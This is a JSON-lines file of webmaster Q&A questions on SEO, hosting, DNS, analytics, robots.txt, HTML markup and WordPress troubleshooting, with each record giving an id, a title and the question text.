{"id":"28779","title":"Which keywords to choose for SEO?","text":"I have recently started a site. it's not even 5 months old. The site's major content is images. When naming the images, I am using google's adword tool. I am able to see keywords with most and least searches, highest and lowest competition etc etc. But what I'm not sure of is how to choose amontg these keywords, the * one's with most searches or the one's with least, * one's with least competition or most * one's with most approximate cpc or the opposite. Do these criteria of choosing has to be changed when the site gets popular. Please explain in detail."}
{"id":"1431","title":"Do search engines crawl PDFs and if so are there any rules to follow when making them","text":"The website I am working on has a few hundred PDFs in it. I don't think I have ever seen any of them come back in a search but there are linked to directly from out site. They are also full of keywords because they are product documents. Is there anything special we need to do to get Google or other search engines to crawl them? Is there any hard and fast rules for making PDFs to help Google like them more? For instance should I run them through ghostscript to clean up broken PDF tags that Adobe creates during generation?"}
{"id":"36328","title":"Should I post my PDF library for SEO?","text":"> **Possible Duplicate:** > Do search engines crawl PDFs and if so are there any rules to follow when > making them When a Sales call comes in, the caller often says something like: 'I searched for 3 days before finding your product and it's exactly what I need!' That's telling me that I need some SEO work. We redid our website and streamlined it which removed many of our 'How-To' documents. Since those PDF documents contain words that people might search for, I was wondering if I could add a 'Complete library' link to the bottom of a page that will load up the entire PDF library. Would that help my ranking?"}
{"id":"22115","title":"Symbolic link not allowed or link target not accessible: \/var\/www on Ubuntu 11.04","text":"I am getting a 403 when i access `http:\/\/mayfieldafc.local\/` upon looking in the Apache logs I am getting: [Wed Nov 16 12:32:59 2011] [error] [client 127.0.0.1] Symbolic link not allowed or link target not accessible: \/var\/www I have what i believe to be the correct permissions set on \/var\/www. hutber can create and delete files, hutber being my user. I can also execute as program on this folder. In mayfields vhost its: <Directory \/var\/www\/mayfieldafc\/docroot> Options +FollowSymLinks AllowOverride None Order allow,deny Allow from all <\/Directory> I am pulling my hair out not being able to work on my sites with my work Ubuntu install. I know of nothing else that could be effecting this. So any ideas?"}
{"id":"61578","title":"Determine Websites IP Address","text":"Do you know how we can find out the IP address of our website? Our web host is Dreamhost and our Domain is with PlanetDomain, we need PlanetDomain to create a `Record` with that IP address so people can access our website. Some important information: * We use shared hosting on Dreamhost. I am aware this means we share both a server with other clients and maybe also IP addresses or have a dynamic IP address? Maybe we can still obtain our IP address or send some other information to PlanetDomain? **_Why dont we give PlanetDomain Dreamhost's name servers instead of the IP Address?_** Because we have a unique setup for our emails that aren't stored\/controled by the web host. They are separate, so if we change the name servers it will break our emails. **_Why dont we just move our emails over to Dreamhost?_** Honestly the boss doesn't want to do it. He thinks its too much work. He's not a technical person and I am not educated in domain, email setups so I dont know if it is really so much work to change. PS: Does anyone know what the name is for the setup we have? The setup being that the emails are not stored\/controlled through the web host but are separate?"}
{"id":"56361","title":"How to prevent my site getting caught in Google's child porn filter?","text":"After Google and Microsoft take steps to block Internet search results linked to child porn, one of my sites which was about kid's photography got blocked in many search results. Actually my site is 100% clean of any pornography and it's been blocked by mistake. The filtering takes into effect when there are keywords like `kid` or `boy` in the user's query. I've lost almost 100% of my Google traffic recently. A query like `site:mysite.com kid` would return no results but `site:mysite.com somethingelse` works fine. I've received no message in my Webmaster's tools account about it either. How can I get back my site up the search results again? My site is clean and it's Google mistake."}
{"id":"51363","title":"Does Google consider W3C validation errors of a website? If so why www.google.com has 23 Errors, 4 warning(s)","text":"Some SEO analysts says that fixing W3C validation errors of a website is an important _On Page Optimization_ if so why `www.google.com` has 23 W3C validation errors, 4 warning(s)? Does Google consider those errors? "}
{"id":"65631","title":"Store files only on CloudFlare's server","text":"Does CloudFlare act as a standalone cloud server, or does it only cache files that already exist on your server? Is MaxCDN the same?"}
{"id":"61571","title":"How can I manage multiple AdWords accounts using the same login?","text":"This is the situation. I have an AdWords account which I use with my own email address. My girlfriend has another which she uses with her email address. However I am managing her ads for her so I want to be able to log into her AdWords and manage her account using my email address. Annoyingly though when I gave myself admin access I was told I would need to use a new email address. Buutt... I used to work with an agency that managed my AdWords; and all I did was give them access and as far as I know they were just able to log in using their own email address. Has something changed with security recently for AdWords to allow (agents) to manage multiple clients AdWords from a single email?"}
{"id":"61572","title":"vBulletin API - can I pull thread, users, etc from third-party forums?","text":"I'm trying to setup a site where I can pull hot threads from different forums, similar to an RSS feed. I've looked at the vBulletin API (http:\/\/www.vbulletin.com\/vbcms\/content.php\/367-API-Overview) but its not too helpful. I know services like Tapatalk are using a similar infrastructure but I'm not sure if its a closed system. Do forum owners configure their site to work with Tapatalk directly or is there an API Tapatalk is using for this?"}
{"id":"29892","title":"Why do people drop off site after clicking “connect to facebook”?","text":"After doing some analysis on my website, I learned that 29% of web users, and 33% of mobile users drop off AFTER they click \"connect to facebook.\" So they click on connect and then go to FB, and dont login and we never see them again. I am trying to figure out why, and my guess is that we ask for too many permissions, or our mobile site is not displaying using the m.facebook, but using the regular FB site. Are there any other suggestions you guys may think why?"}
{"id":"4008","title":"Where can I find some CMS usage statistics?","text":"Does anyone know a place where I can find some usage statistics on different CMSs? Also, do folks actually believe the massive massive Drupal share given here? (Netcraft claimed that Drupal was the sixth largest PHP-based CMS about a year ago; wish I could find the top five.)"}
{"id":"43709","title":"Searching for acronym keywords in Google brings up full domain as first result","text":"For years, I've had two domains (this is a ficticious example): `allbenchescatchdirt.com` and `abcd.com` They both do okay in terms of ranking for their keywords. However, I noticed something weird: If I search for \" **abcd** \", the domain, `allbenchescatchdirt.com`, shows up as the first result and `abcd.com` shows up as second. I have a 301 redirect on `allbenchescatchdirt.com` and the _title_ tag of `abcd.com` is \" **abcd** \" and I've made sure that the keywords are placed accordingly in the content. I know it's difficult to provide information without knowing what the real domain is, but from a first glance, any idea why this is the case?"}
{"id":"13717","title":"Starting from scratch xxx.yyy.com or www.xxxyyy.com (any SEO difference?)","text":"I know there are lots of answers both here (e.g. this and this) and elsewhere which deal with subdomains and their impact on SEO. However, often the questioners are either asking about subdomain versus subdirectories, or they have an existing well trafficked main domain and are asking how introducing a subdomain will impact their existing site. Our question is simpler than that. If we are starting a website from scratch today, and we're worried about ranking well in SERPs for two keywords **xxx** and **yyy** , is there any disadvantage to using a subdomain as in: xxx.yyy.com versus xxxyyy.com"}
{"id":"43252","title":"How much traffic isn't reported by Google Analytics?","text":"We keep finding inconsistencies between data in Analytics and the reports we get from other sources. In general, we notice about 40% less pageviews in Analytics than elsewhere: * Correlating number of new accounts and number of views of the registration page. * Comparing the pageviews on a subset of static page with the AWstats reports. * Goals in our Analytics and reports from a partner tracking incoming links. The differences are not negligible. More than 40% difference can't be just due to users with disabled JS or to JS errors. Or can it? How to find out our rate of “lost” visits, visitors or hits? What is the industry accepted rate of lost traffic?"}
{"id":"19420","title":"Is it a bad idea to seed a UGC site with duplicate content?","text":"In order to get the ball rolling, make it look like it isn't a ghost town etc. I've been offered a license to some pretty good content for my Q&A site, but it would be duplicate. Where is the line drawn between high quality but duplicate content that makes the site look active, and dropping in the search engine rankings as a result? I'm presuming it's not wholly inadvisable to do this."}
{"id":"19423","title":"How to tell the world that I'm not an spammer?","text":"In this question, I just found out that my website address has been reported as spam, by services like Akismet. However, I'm not really an spammer. I'm a web developer, and I'm not selling any product to advertise for. I tended to post \"thank you\" messages, but I'm not gonna send them even more. How should I inform the world that I'm not an spammer? How to return my name back to white list, instead of being on black list? Honestly, no site accepts my comments (which are truly relevant and link-free and ad-free). This bothers me a lot. I'm just so lost here. Please help."}
{"id":"55078","title":"RSS feeds and robots.txt","text":"I have RSS feeds on my site. I've decided to follow Stack Exchange and disallow my RSS feeds in the _robots.txt_. I don't want search engine to display the RSS feed page to people, that's not really a good page to see for new visitors. Are there any advantage to allow search engine to crawl the RSS? Or is it a general good idea to disallow it?"}
{"id":"32506","title":"Why does Internet Explorer's Developer Tools only emulate back to IE7?","text":"Starting with Internet Explorer 8, Microsoft provided built-in developer tools for Internet Explorer. IE8 provides IE8 Standards, IE8 Compatibility View, IE7, and Quirks Mode. IE9 provides IE9 Standards, IE9 Compatibility View, IE8, IE7, and Quirks Mode. I have often wondered why Microsoft choose to provide IE6 testing VMs instead of offering it as a convenient browser mode, while still providing Quirks Mode. Nobody wants to fire up a VM (now or three years ago) just to test a random IE6 report, so why did Microsoft choose to make IE6 testing so difficult for IE7 and every version following? Has Microsoft ever commented on that decision? **EDIT:** I know IE6 should be avoided and Microsoft wants to wipe it out for good as a browser. My question is looking for historical significance. I am wondering if Microsoft ever publicly announced that IE6 would never be supported by developer tools from IE8 on, which was released at a time that IE6's market share was still significant to developers. Even X-UA-Compatible Document Compatibility Modes lists everything, including IE5, but IE6 is missing from the list. Perhaps Microsoft began phasing out IE6 through developers long before they made a campaign targeting users, but I'm not sure why they provided VMs at all if that is the case."}
{"id":"3978","title":"Keyword Densities - do they still matter?","text":"Let's say I have a standard issue web page with 500 - 600 words and I'm priming my page for two specific keywords (for the purposes of this example). We know that these words need to feature within the context of the page but how many times should they be used in the body text? How many times is too many? How few is too little? Does it even make any difference any more? Conventionally I have learned and used 2 to 7 % density and typically I've seen SEO organisations use roughly 4 % density for two word phrases. If I want this page to perform well in the search engines what are the best practises in relation to densities? What strategies have worked for you on real world projects?"}
{"id":"52281","title":"Amazon Cloud Front - Changing the origin domain","text":"Currently have a Cloudfront CDN with an **Origin** pointed to `http:\/\/mysite.com`. The CDN URL is something like _jr27a8vopf32a.cloudfront.net_. Currently there are a lot of external consumers of a file hosted on my site and access it via Cloudfront ( e.g. `http:\/\/jr27a8vopf32a.cloudfront.net\/files\/library.js`) so it's important that CDN URL remains the same. I would like to change the origin (`external.mysite.com` - which will include the same files and file structure) and I was wondering if this type of change would effect the **Domain Name** used by amazon (`jr27a8vopf32a.cloudfront.net`)? I am assuming this will work, but given the number of people relying on the file I thought it would be a good idea to check before proceeding. Thanks in advance,"}
{"id":"45358","title":"Do i need to have a separate page for each article on my website?","text":"I am using a database to store data such as articles, titles, meta and so on. Do I need to Have a separate page for each article so that my articles show up in the list when searched on Google? Is is that Google can not crawl through the list of articles in the database and then give corresponding results? I am confused because i can see pages that are not connected to a database up in the list rather than pages that are retrieved from the database. Anyone got any idea regarding this? My scenario is this that , i have a tab on my navigation bar which leads to page that has a list of articles. `\/home.php` (home page) has a link on navigation tab to `\/articles.php` - this is the page where there's a list of all articles and this is PHP generated (fetched from MySQL). In this list again has href's to my articles but that is also just a single page with multiple id. **Example:** Article 1: `www.example.com\/articlenew\/display.php?id=1` Article 2: `www.example.com\/articlenew\/display.php?id=2` And so on... Will Google recognize my articles?"}
{"id":"46765","title":"How does Google Analytics consider traffic?","text":"Q1)If any automated bot visits my domain will Google Analytics consider it as traffic? What all factors does the Google Analytics consider to be legit traffic? Q2)If a user visits xyz.domain.com ,Does Google Analytics consider that it visited domain.com?"}
{"id":"68688","title":"“http:\/\/localhost:1935” works but not “http:\/\/192.168.1.3:1935” in WAMP","text":"Running a Wowza streaming engine and WAMP server http:\/\/localhost:1935 works but not http:\/\/192.168.1.3:1935 Using windows 7 as my server Did the following. Added a line towards end of this section <Directory \"c:\/wamp\/www\/\"> Require ip 192.168.1 <\/Directory Included 192.168.1.3:1935 in Listen directive as well Did port forwarding as well as shown in attached image What do I need to do to get http:\/\/192.168.1.3:1935 working. This will help me run wowza streaming engine Thanks"}
{"id":"35414","title":"Mobile Browser Usage Statistics","text":"I'm looking for global mobile browsers usage statistics from time to time compared to desktop browsers. Any better ideas than http:\/\/gs.statcounter.com\/ ? I need it as a reference for my college paper. Thanks"}
{"id":"35412","title":"Hosting multiple client website on single hosting account","text":"I'm WebDesigner and I have currently only a few clients for making website. I've unlimited hosting account and I want to host their websites in my account without reseller account (actually it is not needed for constness). Only my client's need is ftp access to their personal directory. So is it possible to give them saperate phpMyAdmin access in this strategy ? As per my knowledge it is done with \"addon\" domain pointing on my hosting account's directory with cPanel, am I right ? or there is another solution for it except reseller account ?"}
{"id":"35413","title":"Unable to use anchor hash tag if using Google Analytics utm","text":"If I want to user to go a particular section of my webpage, I will use http:\/\/www.mywebsite.com\/help_faq.html#contribution However, sometimes, I need to track where user come from, if I use http:\/\/www.mywebsite.com\/help_faq.html#contribution?utm_source=jstock&utm_medium=help_menu It fails to go to the particular section. Anything I can fix?"}
{"id":"19590","title":"Web designers back link on client sites","text":"We're a web design company that have created several websites for clients, all of which have a back link to our own website. I was just wondering the best strategy for this: 1. Should the keywords be in the title, alt and link text? E.g `<a href=\"domain.com\" title=\"keyword\">Keyword<\/a>`? 2. Should we make the keyword the same on all the client web sites? 3. Should we incorporate our company name as the link text? Are there any other general things I should follow? UPDATE: Currently we have \"designed & built by Company\". Are we better off having something like \"graphic design & web design by Company\"?"}
{"id":"55641","title":"Locate sitemap at HTTP or HTTPS?","text":"Our homepage has a 301 redirect from HTTP to HTTPS but all other pages on the site are on HTTP. (1) Should the sitemap be located at HTTPS and is there any problem if we: * (2) include the HTTPS version of homepage (not including the HTTP homepage) * (3) include the HTTP of all other pages within the HTTPS sitemap I have read conflicting information about including both HTTPS and HTTP in the same sitemap so any info is appreciated here."}
{"id":"11426","title":"SEO - 2 websites in the same domain","text":"> **Possible Duplicate:** > SEO - 2 websites in the same domain I have my domain (http:\/\/www.foobar.com, for example) and my website talks about technology. I want to have another website (with other content, not about technology) inside of it (http:\/\/www.foobar.com\/loremipsum). I can find http:\/\/www.foobar.com in Google Search, but http:\/\/www.foobar.com\/loremipsum no ... What should I do to index this website? Thank you."}
{"id":"34990","title":"SEO effect of “You are leaving this site” page for outbound links?","text":"## The problem I am working on an aggregation website that collects reviews about specific products from various websites. The site has many thousands of outbound links (with \"nofollow\" attributes) to the content source websites where the reviews were collected from. The site has far more outbound links than inbound links and I have read that this is bad for SEO. ## The question Would adding an intermediate «You are leaving this site» disclaimer\/warning page like this hurt search engine rankings? And can you provide any links about this topic? p.s. The exit page would be a POST form instead of a script, that notifies the user that he\/she is leaving this site and provides a button to continue to the other website. p.p.s This kind of idea is implemented on many forums, aggregation websites with the purpose of warning the user that he\/she is leaving this site and to block search engine bots from following those links because search bots do not submit forms."}
{"id":"6887","title":"What sort of shared hosting can I run a JIRA installation on?","text":"I purchased JIRA a few weeks ago to manage some projects and such and intended to put it on my shared web host. However, it requires a Tomcat server instead of Apache. It comes with a packaged Tomcat server, but when I use this, I get errors about exceeding my accounts memory and CPU limits. Are there any shared hosting providers that can host JIRA successfully? How can I tell which ones will work?"}
{"id":"56308","title":"Few small blogposts vs one big blogpost","text":"I have a blog about different Internet and programming topics, and a few posts which have rather good ranking and some traffic. One blog post is about a tool I developed. I make updates to the tool, so now comes the question: Is it better to make a new small blog post containing information about the updates, OR is it better to edit the first bigger post? Which way would rank better or produce more traffic?"}
{"id":"22296","title":"What is the ideal file size for a web page?","text":"> **Possible Duplicate:** > Is there a maximum size that web pages should be kept under? What is the ideal file size for a web page? Specifically when it comes to image sizes, what's the total file size for a webpage which includes several images. I tend to compress images down as much as possible before it starts to visually lose quality. We run several CMS website's and the clients tend to ask this question a lot! I'd love to hear another view on it."}
{"id":"16297","title":"Which comes first DNS or name servers?","text":"Which comes first? DNS or nameservers? Its just I'm editing a domain and want to point it to different hosting servers. Now, normally I'd just set the nameservers to the new hosting nameservers, but this doesn't seem to be working (the control panels not brilliant - doesn't say \"accepted\" or \"success\" - and whois searches are turning up nothing - although I should leave it a while longer). Anyway - the point is, in the DNS records there are two A records (one for \" \" and one for \"www\") which have an ip address associated with them. So this is what I don't understand. If I change the nameservers, do I have to remove the DNS records? Will name servers \"overwrite\" a DNS record? Or vice versa? Thank you."}
{"id":"51885","title":"Duplicated Title Tag Problem in Webmaster Tools","text":"I built my website four months ago and was using WordPress. I have my url set up as www.xxx.com\/date\/title of the post at first hand. After about three months, I change the url to be only www.xxx.com\/title of the post. And I get the the duplicated title tags in Google webmaster tools. I just know that it is the worst idea ever to change the post urls after seeing no more traffic from Google. Please suggest me the best way to solve this problem. Here is the screenshot of some duplicated urls. I have hundred of them. "}
{"id":"16294","title":"suspicious crawler activity","text":"I'm noticing that I get accesses 66.249.66.198 - - [01\/Jul\/2011:17:13:46 +0200] \"GET \/img\/clip.incubus.torrent.phtml HTTP\/1.1\" 404 143 \"-\" \"Mozilla\/5.0 (compatible; Googlebot\/2.1; +http:\/\/www.google.com\/bot.html)\" 66.249.66.198 - - [01\/Jul\/2011:17:13:48 +0200] \"GET \/img\/clip.global.deejays.download.phtml HTTP\/1.1\" 404 143 \"-\" \"Mozilla\/5.0 (compatible; Googlebot\/2.1; +http:\/\/www.google.com\/bot.html)\" that files don't exist and there is no file on my site that has this content (I hope). Why is googlebot trying out these links? reverse dns and whois state that 66.249.66.198 is really googlebot."}
{"id":"51880","title":"Looking up IP address of an area, town or State","text":"How can I find the IP of a location? I know I can lookup an IP's physical location anywhere but what about looking up the IP's of a specific area."}
{"id":"17479","title":"Google Analytics: Do unique events report as unique visits when triggered on pages other than your own domain?","text":"We just recently attached a SWF to our Brightcove video player to report various events back to Google Analytics. We're also tracking page views with a standard GA snippet on the page where the player is embedded. As I understand it, because a unique has already been recorded for the page, any event being triggered by the player is getting associated with that unique. However, we allow people to embed the video player on other websites. All of the event data started pouring into the Events section as expected, but we noticed a dramatic uptick in unique visitors on the site (nearly double) while the pageview count stayed relatively unchanged. Disabling event tracking brought the traffic back down to average levels. I should also add that in the Pages section of Event tracking we're seeing URLs for other sites where the player has been embedded; but this data isn't showing up in the Content section. It seems counterintuitive, but does GA count an event fired as a unique visit even if it's triggered from some place other than your website? Is so, there any way to trigger an event in the events section without it reporting to the unique visitor count?"}
{"id":"6880","title":"Dedicated Hosting 101","text":"I've been running small websites for years, but recently developed a site that is attracting more traffic than expected. My shared web hosting provider has warned me that this is causing a high load on the server and that I might need to look into getting a dedicated\/vps hosting server (which they do not provide). I've never used dedicated or vps hosting, so I don't really know what to look for. Will it be significantly more expensive? Are cloud services like Amazon EC2 or Windows Azure something I should be looking at? Can you recommend a particular service? My site is built using PHP, and I am in Canada, if that helps. Thanks!"}
{"id":"38891","title":"Using a trademark as a subdomain?","text":"Let's **imagine** a website that deals with cars: _www.cars.com_ In order to categorize his website, the webmaster decides to create subdomains for the most famous brands: * ford.cars.com * chrysler.cars.com * ferrari.cars.com Would it be legit?"}
{"id":"42287","title":"Firefox Addon to override system name resolution for certain host names?","text":"Is there any Firefox plugin that allows to change how Firefox perform name resolution? I want to override the system-wide hostname resolver to attach some IP to certain hostnames. Let me explain. Let's say I'm developing a new website and I want to test using the actual hostname but my site is run by a local webserver, I'd like to do this: System-wide resolver: www.domain.com ---> 10.20.30.40 Ovveride by addon: www.domain.com ---> 127.0.0.1 Is there anything like this? Thank you."}
{"id":"17476","title":"SEO and alias domain names","text":"What is the best SEO strategy when aliasing several domains to a primary domain, * is it \"enough\" to just set them up as aliases * is it better to alias them and setup some kind of rewrite rules to make the content look like separate domains * is it better to set them up as landing pages with slightly different content & then redirect to the main site? or are there better ways I haven't considered? -thanks -sean"}
{"id":"36260","title":"How to hide the admin login form?","text":"In my website there are no accounts except for those of moderators and administrators. That's why I don't want to show the login form to everyone but to these people. I thought of using a weird URL for the login form like `www.example.com\/1a79a4d60de6718e8e5b326e338ae533` that only admins and mods would know. But it's a quite impractical solution, besides if someone would want to login in another computer and forgets this URL, then is unable to. Is there any more effective way?"}
{"id":"60931","title":"Copying content from other(news) website?","text":"I copied the news article from different sources for more than 2 years and now I'm copying the content & specifying the canonical URL of source websites(hope this is the correct way to do it [ **correct me if I'm wrong** ]). but my question is what should I do to the previous posts, I have no idea on where I copied those articles and obviously it have more than 2000 pages, So I'm unable to do canonical tag for the previous posts, how should I fix this ? (or) will I leave those articles as it is ? please suggest me a solution! Please don't mark duplicate with What is duplicate content and how can I avoid being penalized for it on my site? I already read that post, here my situation is different."}
{"id":"67004","title":"backlinks's effect on SEO","text":"All websites and blogs with more backlinks have their posts on 1-2 pages in SERPs. I have one question that if will increase backlinks of my website then my website can also get higher position in search engine results?"}
{"id":"16090","title":"Stopping Google index some web pages I have","text":"I have some web pages that google has indexed. Now I added a robots.txt file to exclude them but should I also add a “noindex” tag and if so then how can I best add this?"}
{"id":"21483","title":"This address should never have been indexed, how can I properly remove it?","text":"I have a couple of subdomains on my website that I use for various purposes and I don't want\/need them to be indexed by search engines. From the very beginning, since I created them, I added a `robots.txt` file to disallow search engines from crawling those pages. Now, I know that this does not enforce anything, it's just a \"guideline\" for search engines. But in respect to Google, they have lots of help documents suggesting the use of robots.txt, so I believe they respect that file. Anyway, one of those sub domains is still indexed and I can't understand why. Like I said, this has been created with the disallow rules in robots.txt since the very beginning that sub domain went life and it's been running like this for 2 years or so. Still, I just noticed this:  **How can I permanently get rid of this indexed result on Google?** For the record, Bing and Yahoo! don't have a result for the same query..."}
{"id":"49037","title":"Allowing users to purchase multiple products at a time using Google checkout","text":"Customers currently can't purchase more than 1 product at a time with Google Checkout. For example, a customer wants to purchase 5 of the same product; the quantity will pass to Google Checkout page, but after placing the order using Google Checkout it will count it as one product. Right now when you put in 2 items in the shopping cart and Google Checkout only calculates the shipping for the ORDER not for EACH ITEM. Any help would be great. Thanks a lot!"}
{"id":"49032","title":"Google Analytics of Blogger site (with Content Warning)","text":"I have applied the following Google services to my Blogger site (with Content Warning enabled): * Google Analytics * Google AdSense However, I cannot obtain 2 sets of web statistics data from Blogger's Statistics tab, Analytics, and AdSense. Google Analytics receive \"Access Denied\" warning in In-Page Analysis too. Example: * Blogger's Statistics tab shows 88 visits per day * Google Analytics show 0 visit per day (Note 1) * Google AdSense show 0 visit per day (Note 1) All are Google's service, but why am I receiving different data? Also, AdSense is not gaining money but the ads are showing up in my blog. **Note 1:** I have set up URL Channel in AdSense & Analytics, but no data is shown. p.s. Google Analytics status is \"Receiving Data\", and it does record visits on the first day when the blog is using traditional layout. Blogger site is now using \"Dynamic layout\"."}
{"id":"48618","title":"How UTF-8 represents more than 256 characters and when to use UTF-16?","text":"We all know what character encoding is. Like the simple ASCII 7 bit used for normal 128 characters representing and `UTF-8` for representing 256 characters. I have 2 questions: 1. Some people saying `UTF-8` can represent more than 256 characters. How this is possible? 2. When to use `UTF-16`? Like which condition e.g. if we have to use japanese or some other language?"}
{"id":"58743","title":"Proper usage of <title>, <header>, <h1> and <h2> in a HTML5 website?","text":"I have been studying this subject for several days and have found many conflicting suggestions with regards to search indexing. I am working on a project which has a lot of different pages ranging from simple product descriptions to in-depth user documentation. I have broken this question down into sections since I feel that this will make it more useful for future readers of this question. ## Some of my findings Several websites seem to have assumed document outlines like the following: 1. Programmer's Guide (https:\/\/www.dartlang.org\/docs\/) 1. Getting Started 2. Concepts 1. Libraries 2. Fundamental classes etc. I find it interesting that the above example does not utilise the `<nav>` element with a suitable heading. I like the simplicity of the outline and being Google I am fairly certain that they know what they are doing when it comes to this. But I am confused since the above outline makes no mention of \"Dart\". The only mention of \"Dart\" in the semantic sense seems to be within the main document `<title>` element \"Programmer's Guide | Dart: Structured web apps\". The MDN (Mozilla Developer Network) is another brilliant example of a website which follows this principal. Many of the `<h1>` titles provide full context (Sections and Outlines of an HTML5 Document): 1. Sections and Outlines of an HTML5 Document 1. Untitled Section (nav) 2. Untitled Section (nav) 3. Structure of a Document in HTML 4 4. Problems Solved by HTML5 Whilst others do not make much sense out of context (Obsolete practices to avoid). For example, does the following HTML5 outline relate to CSS, HTML5 or C#... with just the document outline to go by, who knows! 1. Obsolete practices to avoid 1. Untitled Section (nav) 2. Untitled Section (nav) 3. Doctype 4. <meta> element and charset attribute To make matters worst, what if the MDN contained 2 topics with the same (or very similar) title \"Obsolete practices to avoid\" where one is part of their CSS guide and the other is part of their HTML guide... On the other end of the spectrum websites seem to use the main `<body>`-level heading for the product name (Foo) or the topic container (User Guide for Foo). Where all subsequent pages then use `<h2>` for the actual page title. ## The question How do search engines infer the context of a webpage like those found on the MDN website using the DOM and the HTML5 outline? What is the right way to markup the following HTML5 page so that Google can index the page in the suitable context? This includes usage of `<title>`, `<header>` and `<h1>` elements. * Company Name * Product Name * User Guide * Getting Started The most significant heading in the HTML which gets viewed in a web browser, should this represent the context of the entire website (Company Name or Product Name), the collection of topics (User Guide) or the actual topic in hand (Getting Started)? ## My best guess <!DOCTYPE html> <html> <head> <title>Getting Started | User Guide | Product Name - Company Name<\/title> <\/head> <body> <header role=\"banner\"> <!-- Note: Lack of <h1> in here --> <a id=\"logo\" href=\"http:\/\/example.com\">Company Name<\/a> <nav> <h1>Site Navigation<\/h1> <ul> ... <\/ul> <\/nav> <\/header> <main role=\"main\"> <div class=\"product-name\">Product Name<\/div> <div class=\"document\">User Guide<\/div> <h1>Getting Started<\/h1> <p>blah<\/p> <\/main> <\/body> <\/html> Leading to the outline: 1. Getting Started"}
{"id":"45598","title":"Google Indexing Pages with noindex meta tag","text":"I got a message in Google Webmaster Tools about \"Googlebot found an extremely high number of URLs on your site\" with a long list of example URLs. For some of the pages listed, there was nothing to prevent them being indexed. However, for some of the URLs, I have `\"noindex, nofollow\"` meta tags as follows: <meta name=\"googlebot\" content=\"noindex, follow\" \/> <meta name=\"bingbot\" content=\"noindex, follow\" \/> <meta name=\"msnbot\" content=\"noindex, follow\" \/> <meta name=\"slurp\" content=\"noindex, follow\" \/> <meta name=\"teoma\" content=\"noindex, follow\" \/> I have read that Google will sometimes index pages that you block in robots.txt if they find another link that points to the page, but supposedly they respect meta tags?"}
{"id":"15662","title":"Webmaster tools showing 404 for non existent folder pages","text":"Google webmaster tools is reporting some\/many 404 urls that don't exist on my site. The links are things such as domain.com\/xyz\/ However that doesn't exist, but domain.com\/xyz\/index.html does exist. The \"linked from\" pages all show proper links to the \"\/xyz\/index.html\". The page without index.html DOES 404, but why is google even trying these urls if they are not linked to? My real question, is there a way to have google stop attempting to load these pages, and ultimately remove these from the crawl errors report. Thanks."}
{"id":"44477","title":"Over 400 old 404 errors, safe to remove?","text":"I have over 400 old 404 errors showing up in Google web-masters tools, the date on them is from before I uploaded the new sitemap and I wondered 2 things: 1. Why are they still showing up 2. Can i remove them using the mark as fixed option? TIA. Stephen"}
{"id":"20162","title":"Buy internet country domain name: .fr .co.uk .de .com.au .sg etc","text":"I already bought a domain name .com on godaddy for my company. I would like to reserve the same name with country specific domain extention, but not sure where to buy them and how to do it. Here are the ones that I would like to buy: Europe: fr, co.uk, de, ch, es, it, nl, se, no, ru australia: com.au asia: sg Godaddy has all except 1 in europe, australia and singapore. Should I find a website that sell all of them or should I buy some of them in godaddy and others elsewhere? Any suggestions where to buy them? Until now i've always buy .com domain names only so not sure how to do it. Thanks"}
{"id":"20165","title":"Is it normal to have some huge anomolies in Google Analytics site speed tracking?","text":"I've recently started using the new `_trackPageLoadTime` function in Google Analytics to measure page load times. However, I have noticed a few pages appear with a huge \"Average Load Time\". One page is showing a time of 556.22 seconds! Several other pages show average times of 30+ seconds. Clicking through to the page detail shows that the highest average times are the result of 1 really long load time of 100+ seconds (and most of the top ones only have a \"Page Load Sample\" of 1 or 2 people). Are these just anomalies where the user lost connection or something? Is there any way to view the data without those anomalies?"}
{"id":"20166","title":"What kind of SSL do I have?","text":"I am maintaining a site for someone. He needs to know what type of SSL the site has because that data has to submitted to his bank. I've never been asked such a question. I have cpanel access. But I don't know how to figure out what \"type\" of ssl is installed. Is there a way to print a report and give that to the bank? I thank you in advance for your assistance."}
{"id":"45221","title":"Keep visitors out of server directories and redirect","text":"The web application I use (Zenphoto) stores images in \/albums and subfolders. It's backend needs r\/w-access to those folders and I need r\/w-access to the folders via ftp, but the frontend never looks into \/albums. Now I want to keep visitors from directly accessing \/albums and all subalbums I did a lot of research and found that a .htaccess in \/albums with `deny from all` would accomplish that. However, I would prefer a redirection to my 404 page. What I made from a similar use case is I could do that in my root's htaccess. I added `RewriteRule ^albums\/.* \/404 [R,NC]` Because the similar usecase was very different in terms of motivation, my questions are: 1. Is it an appropriate solution? 2. Does it really accomplish what I want or can it be circumvented?"}
{"id":"36192","title":"How can I create a dynamic site that is still search-bot friendly?","text":"If I want to have a slide effect between pages. You click a link, it is loaded off to the side and then slides in (pushing the old page off the other side). I can imagine using jQuery to do the PHP and the effects... but **how do I do something like this that gracefully degrades for users without Javascript, including bots?** Possibly more problematic: what if I wanted to have a sort of mural background across the site, perhaps with a parallax scrolling effect, and sliding to other pages reveals more of the, possibly giant image? Again, I can imagine how to do this with lots of fancy jQuery and PHP but it would heavily rely on those. How can I gracefully degrade in a situation like that? Any pointers, articles or books would be greatly appreciated. I keep trying to search for answers but I just get a lot of \"theory\"-based, unhelpful blogs."}
{"id":"59699","title":"Can I include structured data type to display tax due dates?","text":"I tried to add structured data in my site in order to display due dates of tax deadline in search engine results page. But I don't know which data type to select. Can I include structured data to display tax due dates?"}
{"id":"36197","title":"Does HTML encoded content affect SEO of a page?","text":"Let's say the page has an `<h1>` tag with the title: <h1>Page title<\/h1> and then in the post content there is an HTML tutorial which has an `<h1>` tag which is encoded: <h1>Example<h1> Does this affect SEO? Would Google consider the second one also as an `<h1>` tag and get confused about which is the real or correct `<h1>` heading?"}
{"id":"29612","title":"Server Error after trying to update the functions.php","text":"I recently tried to change the logo on Genesis themed WordPress site using this tutorial: http:\/\/anewtab.com\/add-logo-genesis-theme I added add_theme_support( 'genesis-custom-header', array( 'width' => 960, 'h To Dashboard->Editor->functions.php as said in the tutorial, and updated the theme. It didn't really work as I hoped so I deleted the same line and updated it, now I get the server error as below and can't access to my site. I get this message when I try to access to my site. Server error The website encountered an error while retrieving http:\/\/www.vivatveritas.com\/wp-admin\/. It may be down for maintenance or configured incorrectly. Here are some suggestions: Reload this webpage later. HTTP Error 500 (Internal Server Error): An unexpected condition was encountered while the server was attempting to fulfill the request. What should I do?"}
